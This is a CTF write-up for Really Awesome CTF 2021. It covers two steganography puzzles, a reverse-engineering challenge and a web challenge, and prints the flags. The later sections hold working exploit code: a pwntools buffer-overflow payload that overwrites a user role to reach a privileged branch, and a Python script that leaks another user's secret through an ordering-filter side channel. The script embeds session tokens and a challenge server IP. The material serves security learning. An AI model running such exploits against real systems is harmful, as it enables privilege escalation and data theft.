Really Awesome CTF 2021
Steganography
I'm a Shouty Man [300 pts]
Description
You have intercepted an shouty man's secret message. find the flag!
Solution
We are given a folder that contains a lot of WEBM files with one named sound and the other different characters. At first, I tried to do code to transcribe and online transcribers to be able to read the letters to get nowhere. I could take the 30 min hit of listening as opposed to trying to create the code for it at this point.
[0 - 10] Vml2YW11cyBzZWQgZWxpdCBpbnRlcmR1bSwgY29udmFsbGlzIHRlbGx1cy4gBmBzdGlidWx1bSBxdWlzIG1pIGbyYXQuIHlvdSBtYXkgYmUgd29uZGVyaW5nIHdoZXJlIHRoZSBmbEFnIGlzIHJpZ2h0IG5vdy4gd2BsbCBsZXQgbWUgdGVsbCB5b3UsIGl0J3Mgc29tZXdoZXJlLiB0aGUgZmxhZyBjb3VsZCBiZSByYWN0ZntoYWhhfSBvciBp [20 - 25] dHJpc3RpcXVlIGVzdC4gQ3JhcyBmYXVjaWJ1cyBtYXNzYSBsaWJlcm8sIHNpdCBhbWV0IHZ1bHB1dGF0ZSBvZGlvIGNvbnNlcXVhdCBjdXJzdXMgdEhlIHJFYUwgZ [25 - 27] kxBZyBpNSByYWN0ZntvTWdfaXq1X2FOX2F1ZDEwcGhpbDMhISF9I
NSByYWN0ZntvTWdfaXq1X2FOX2F1ZDEwcGhpbDMhISF9
I eventually decoded it using Base64.
[0 - 10] Vivamus sed elit interdum, convallis tellus. .
stibulum quis mi fòat. you may be wondering where the flAg is right now. w
ll let me tell you, it's somewhere. the flag could be ractf{haha} or i [20 - 25] tristique est. Cras faucibus massa libero, sit amet vulputate odio consequat cursus tHe rEaL d [25 - 27] ..YÈ.MH..XÝ..ÛÓY×Ú^.WØS.Ø]Y.L...[.ÈHH_H5 ractf{oMg_izµ_aN_aud10phil3!!!}
I know this doesn't look good. I guess the Hard of hearing got the best of me and so I had to decode from this what the real flag was supposed to be. I took a little bit closer look and changed a few of the characters from the capital and lower case and close letters to get the flag.
Flag: ractf{oMg_it5_aN_aud10phil3!!!}
Blue
Description
We found some blue, thoughts?

Solution
Being a colorblind person, I want to always look at the histogram of the photo to see this weird situation.

From that, I write some code to find the pixels that are odd. From there I can run a few ideas as to how the location, color, and hex could help come up with the flag. I tried a lot of attempts but nothing clicked so I gave up some time.
import cv2
def oddPixels(img_file):
img = cv2.imread(img_file, cv2.IMREAD_UNCHANGED)
dim = img.shape
h = dim[0]
w = dim[1]
match = [205,77,64]
last = [205, 77, 64]
fin = ""
masBlue = bin(205)[-3:] + bin(77)[-2:] + bin(64)[-2:] + "1"
print(int(masBlue ,2 ))
for x in range(0, h):
for y in range(0, w):
curPix = img[x][y]
if not(curPix[0] == match[0] and curPix[1] == match[1] and curPix[2] == match[2]):
bn = bin(curPix[0])[7:]
bn += bin(curPix[1])[7:]
bn += bin(curPix[2])[7:]
# print(bn)
# hx = hex(curPix[0])[2:] + hex(curPix[1])[2:] + hex(curPix[2])[2:]
# print(bin(curPix[0]))
# bn = bin(curPix[0])[6:9] + bin(curPix[1])[6:8] + bin(curPix[2])[6:8]
if (curPix[3] == 255):
bn += "1"
elif(curPix[3] == 254):
bn += "0"
print(bn, int(bn, 2))
fin += bn
# print(x,y,curPix,'\t', hx)
print(fin)
"""
5 75 [204 79 71] cc4f47
8 118 [205 77 71] cd4d47
17 132 [204 77 71] cc4d47
41 60 [207 79 71] cf4f47
41 69 [206 77 71] ce4d47
42 58 [204 78 71] cc4e47
58 147 [207 79 67] cf4f43
64 38 [207 79 67] cf4f43
78 70 [204 76 71] cc4c47
84 23 [204 76 71] cc4c47
91 60 [205 76 71] cd4c47
115 46 [204 76 71] cc4c47
146 230 [205 77 69] cd4d45
158 252 [204 79 69] cc4f45
159 60 [206 79 71] ce4f47
160 19 [204 79 67] cc4f43
168 129 [206 76 71] ce4c47
176 43 [206 78 69] ce4e45
182 84 [205 79 69] cd4f45
195 101 [206 76 71] ce4c47
229 143 [205 77 67] cd4d43
235 218 [204 76 71] cc4c47
239 11 [204 76 69] cc4c45
243 232 [207 79 67] cf4f43
246 46 [207 78 71] cf4e47
"""
""" Flip X and Y
11 239 [204 76 69] cc4c45
19 160 [204 79 67] cc4f43
23 84 [204 76 71] cc4c47
38 64 [207 79 67] cf4f43
43 176 [206 78 69] ce4e45
46 115 [204 76 71] cc4c47
46 246 [207 78 71] cf4e47
58 42 [204 78 71] cc4e47
60 41 [207 79 71] cf4f47
60 91 [205 76 71] cd4c47
60 159 [206 79 71] ce4f47
69 41 [206 77 71] ce4d47
70 78 [204 76 71] cc4c47
75 5 [204 79 71] cc4f47
84 182 [205 79 69] cd4f45
101 195 [206 76 71] ce4c47
118 8 [205 77 71] cd4d47
129 168 [206 76 71] ce4c47
132 17 [204 77 71] cc4d47
143 229 [205 77 67] cd4d43
147 58 [207 79 67] cf4f43
218 235 [204 76 71] cc4c47
230 146 [205 77 69] cd4d45
232 243 [207 79 67] cf4f43
252 158 [204 79 69] cc4f45
"""
oddPixels("blue.png")
Yeah and that is left off till someone showed it could be different
R G B A | R G B A |Ascii|Binary |Decimal
69 76 204 254 | 01000 101 | 010011 00 | 110011 00 | 1111111 0 | r |01110010|114
67 79 204 254 | 01000 011 | 010011 11 | 110011 00 | 1111111 0 | a |01100001|97
71 76 204 254 | 01000 111 | 010011 00 | 110011 00 | 1111111 0 | c |01100011|99
67 79 207 255 | 01000 011 | 010011 11 | 110011 11 | 1111111 1 | t |01110100|116
69 78 206 254 | 01000 101 | 010011 10 | 110011 10 | 1111111 0 | f |01100110|102
71 76 204 255 | 01000 111 | 010011 00 | 110011 00 | 1111111 1 | { |01111011|123
71 78 207 254 | 01000 111 | 010011 10 | 110011 11 | 1111111 0 | | |
71 78 204 254 | 01000 111 | 010011 10 | 110011 00 | 1111111 0 | | |
71 79 207 255 | 01000 111 | 010011 11 | 110011 11 | 1111111 1 | | |
71 76 205 254 | 01000 111 | 010011 00 | 110011 01 | 1111111 0 | | |
71 79 206 255 | 01000 111 | 010011 11 | 110011 10 | 1111111 1 | | |
71 77 206 255 | 01000 111 | 010011 01 | 110011 10 | 1111111 1 | | |
71 76 204 254 | 01000 111 | 010011 00 | 110011 00 | 1111111 0 | | |
71 79 204 255 | 01000 111 | 010011 11 | 110011 00 | 1111111 1 | | |
69 79 205 255 | 01000 101 | 010011 11 | 110011 01 | 1111111 1 | | |
71 76 206 254 | 01000 111 | 010011 00 | 110011 10 | 1111111 0 | | |
71 77 205 254 | 01000 111 | 010011 01 | 110011 01 | 1111111 0 | | |
71 76 206 255 | 01000 111 | 010011 00 | 110011 10 | 1111111 1 | | |
71 77 204 254 | 01000 111 | 010011 01 | 110011 00 | 1111111 0 | | |
67 77 205 254 | 01000 011 | 010011 01 | 110011 01 | 1111111 0 | | |
67 79 207 254 | 01000 011 | 010011 11 | 110011 11 | 1111111 0 | | |
71 76 204 254 | 01000 111 | 010011 00 | 110011 00 | 1111111 0 | | |
69 77 205 254 | 01000 101 | 010011 01 | 110011 01 | 1111111 0 | | |
67 79 207 255 | 01000 011 | 010011 11 | 110011 11 | 1111111 1 | | |
69 79 204 255 | 01000 101 | 010011 11 | 110011 00 | 1111111 1 | } |01111101|125
But that doesn't line up and can't see any way that it could line up.
Reverse
Dodgy Database [350 pts]
Description
One of our most senior engineers wrote this database code, it's super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.
Solution
Below is the C code we are given.
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define STR_EXPAND(tok) #tok
#define STR(tok) STR_EXPAND(tok)
#define USERNAME_LEN 20
#define DATABASE "database.txt"
#define FLAG "ractf{fake_flag}"
typedef enum {
ROLE_USER,
ROLE_ADMIN,
ROLE_GOD = 0xBEEFCAFE,
} Role;
typedef struct {
char name[USERNAME_LEN];
Role role;
} User;
typedef struct {
User* users;
size_t num_users;
size_t capacity;
} Users;
/**
* Exit, printing a failure message before killing the program.
*/
void die(const char *restrict fmt, ...) {
va_list args;
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
exit(EXIT_FAILURE);
}
/**
* Create a user struct with the given name and the ROLE_USER role.
*/
User* user_create(const char* name) {
User* user = malloc(sizeof(User));
strcpy(user->name, name);
return user;
}
/**
* Allocate and initialize the Users struct.
*/
Users* users_init(const size_t capacity) {
Users* users = calloc(1UL, sizeof(Users));
users->users = calloc(capacity, sizeof(User));
users->num_users = 0UL;
users->capacity = capacity;
return users;
}
/**
* Double the capacity of the users array.
*/
void users_extend_capacity(Users* users) {
users->capacity <<= 1;
users->users = realloc(users->users, users->capacity * sizeof(User));
}
/**
* Add a user to the users struct.
*/
void users_add_user(Users* users, const char* name, Role role) {
User* user = &users->users[users->num_users++];
strcpy(user->name, name);
user->role = role;
}
/**
* Check whether a user is registered.
* MUST BE CALLED BY AN ADMIN
*/
bool users_check_registered(const Users *const users, const User *const admin, const char *const name) {
if (admin->role == ROLE_ADMIN) {
for (size_t i = 0UL; i < users->num_users; i++) {
User* user = &users->users[i];
if (strncmp(user->name, name, 20UL) == 0) {
return true;
}
}
} else {
die("[users_check_registered]\tInsufficient permissions.\n");
}
return false;
}
/**
* Registers a new user in the database.
*/
void users_register_user(Users* users, const User *const admin, const User *const user) {
if (admin->role == ROLE_ADMIN)
users_add_user(users, user->name, ROLE_USER);
else if (admin->role == ROLE_GOD)
puts(FLAG);
else
die("[users_register_user]\tInsufficient permissions to register user, exiting.\n");
}
/**
* Reads all the users and their roles from the file.
*/
Users* read_users(const char* filename) {
FILE* file = fopen(filename, "r");
if (file == NULL) die("Failed to open database file: \"%s\"\n", filename);
size_t line_len,
lines_read = 0UL;
char* lineptr = NULL;
Users* users = users_init(10UL);
while (getline(&lineptr, &line_len, file) != -1) {
if (lines_read++ == users->capacity) {
users_extend_capacity(users);
}
char name[21] = { 0 };
char role[6] = { 0 };
int num_parsed = sscanf(lineptr, "%" STR(USERNAME_LEN) "s %s", name, role);
if (num_parsed != 2) goto parse_failed;
if (strcmp(role, "USER") == 0) users_add_user(users, name, ROLE_USER);
else if (strcmp(role, "ADMIN") == 0) users_add_user(users, name, ROLE_ADMIN);
else if (strcmp(role, "GOD") == 0) users_add_user(users, name, ROLE_GOD);
else
parse_failed: die("[read_users]\tFailed to parse user line: \"%s\", exiting!\n", lineptr);
}
free(lineptr);
return users;
}
/**
* Saves the users database out to a file.
*/
void save_users(const Users *const users, const char *const filename) {
FILE* file = fopen(filename, "w");
for (size_t i = 0UL; i < users->num_users; i++) {
User* user = &users->users[i];
switch (user->role) {
case ROLE_GOD:
fprintf(file, "%" STR(USERNAME_LEN) "s GOD\n", user->name);
break;
case ROLE_ADMIN:
fprintf(file, "%" STR(USERNAME_LEN) "s ADMIN\n", user->name);
break;
case ROLE_USER:
fprintf(file, "%" STR(USERNAME_LEN) "s USER\n", user->name);
break;
default:
die("[save_user]\tInvalid user role: %d, exiting!\n", user->role);
}
}
}
/**
* Sets IO to non-buffering, not part of the challenge
*/
void setup_for_challenge() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main(void) {
setup_for_challenge();
Users* users = read_users(DATABASE);
// get user to register
puts("Hi, welcome to my users database.");
printf("Please enter a user to register: ");
char username[30] = { 0 },
*newline;
fgets(username, 30, stdin);
if ((newline = strchr(username, '\n')) != NULL)
*newline = '\0';
// create admin
User* admin = user_create("admin");
admin->role = ROLE_ADMIN;
// check registered
if (!users_check_registered(users, admin, username)) {
// register the user
free(admin);
User* user = user_create(username);
users_register_user(users, admin, user);
}
// save the new database
save_users(users, DATABASE);
return 0;
}
Well, I start with a buffer overflow approach. The username is a length of 20 [line 10] and to become GOD code is Beefcafe [line 17]. Put that together and you become a god who can view the flag.
from pwn import *
connect = remote('193.57.159.27', 31267)
payload = bytes('A' * 20, 'utf-8') + p32(0xBEEFCAFE)
connect.sendline(payload)
connect.interactive()
Flag: ractf{w0w_1_w0nD3r_wH4t_free(admin)_d0e5}
Web
Secret Store [300 pts]
Description
How many secrets could a secret store store if a store could store secrets?
Solution [By JoshL]
There are only two functionalities you really need to care about the /api/secret
endpoint allows you to set a secret with a POST and return a list of secret ids + user ids with a get(edited)
class SecretViewSet(viewsets.ModelViewSet):
queryset = Secret.objects.all()
serializer_class = SecretSerializer
permission_classes = (IsAuthenticated & IsSecretOwnerOrReadOnly,)
filter_backends = [filters.OrderingFilter]
ordering_fields = "__all__"
class SecretSerializer(serializers.ModelSerializer):
class Meta:
model = Secret
fields = ["id", "value", "owner", "last_updated", "created"]
read_only_fields = ["owner", "last_updated", "created"]
extra_kwargs = {"value": {"write_only": True}}
def create(self, validated_data):
validated_data["owner"] = self.context["request"].user
if Secret.objects.filter(owner=self.context["request"].user):
return super(SecretSerializer, self).update(Secret.objects.get(owner=self.context['request'].user), validated_data)
return super(SecretSerializer, self).create(validated_data)
are the relevant lines of codeSecretSerializer.create
handles the POST request, and the GET is implemented by the viewsets.ModelViewSet
mixin. Now, the vuln is filters.OrderingFilter
googling that tells you it allows you to order by fields, and you can specify what you're allowed to order by allowing certain fields in ordering_fields
(in this case, it allows all fields inside the Secret model that's what the __all__
means). ]So you have two functionality POST /api/secret/
Update your secret value GET /api/secret/?ordering=
Returns a list of secrets (by id) and users (by id), allowed to order by any field within the Secret model(edited). The flag is a secret created by the user with id 1 (I'm assuming it's admin or something). Sooo, with ordering
you could order by the secret values itself and slowly binary search for the flag if your secret is aaaa
, the admin is ractf{
, if you order by value, your id will show up before the admin's(edited)[11:25 PM]if your secret is zzz
and the admin is ractf{
if you order by value, your id will show up after the admin's
import requests
from Crypto.Util.number import long_to_bytes
import json
cookies = {"csrftoken":"xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk", "sessionid":"jyya08irbxysteizgtvmoyjw29bgmb9m"}
headers = {"X-CSRFToken": "xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk"}
charset = ''.join([chr(i) for i in range(0x20, 0x7f)])
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ "
def b95encode(val):
ret = []
base=95
while val:
ret.append(charset[val%base])
val//=base
return ''.join(ret)[::-1]
# for i in range(0x100):
# print(b95encode(i))
l,r=0,95**50
post_url = 'http://193.57.159.27:48478/api/secret/'
get_url = 'http://193.57.159.27:48478/api/secret/?ordering=value'
while l<=r:
m=(l+r)//2
payload = b95encode(m)
data = {"value": payload}
print(payload,l,r)
requests.post(post_url, cookies=cookies, headers=headers, data=data)
rr = requests.get(get_url, cookies=cookies, headers=headers)
ids = [dat['id'] for dat in json.loads(rr.text)]
if ids.index(16) < ids.index(1):
l=m+1
else:
r=m-1
print(b95encode(l))
# GET /api/secret/?ordering=value HTTP/1.1
# Host: 193.57.159.27:48478
# User-Agent: curl/7.74.0
# Accept: */*
# Cookie: csrftoken=xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk; sessionid=jyya08irbxysteizgtvmoyjw29bgmb9m
# Content-Length: 17
# Content-Type: application/json
# X-CSRFToken: xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk
# {"value":"AAA"
# }
# ractf{data_exf1l_via_s0rt1ng_0c66de47}
# 193.57.159.27 50871
Flag: ractf{data_exf1l_via_s0rt1ng_0c66de47}
Last updated
Was this helpful?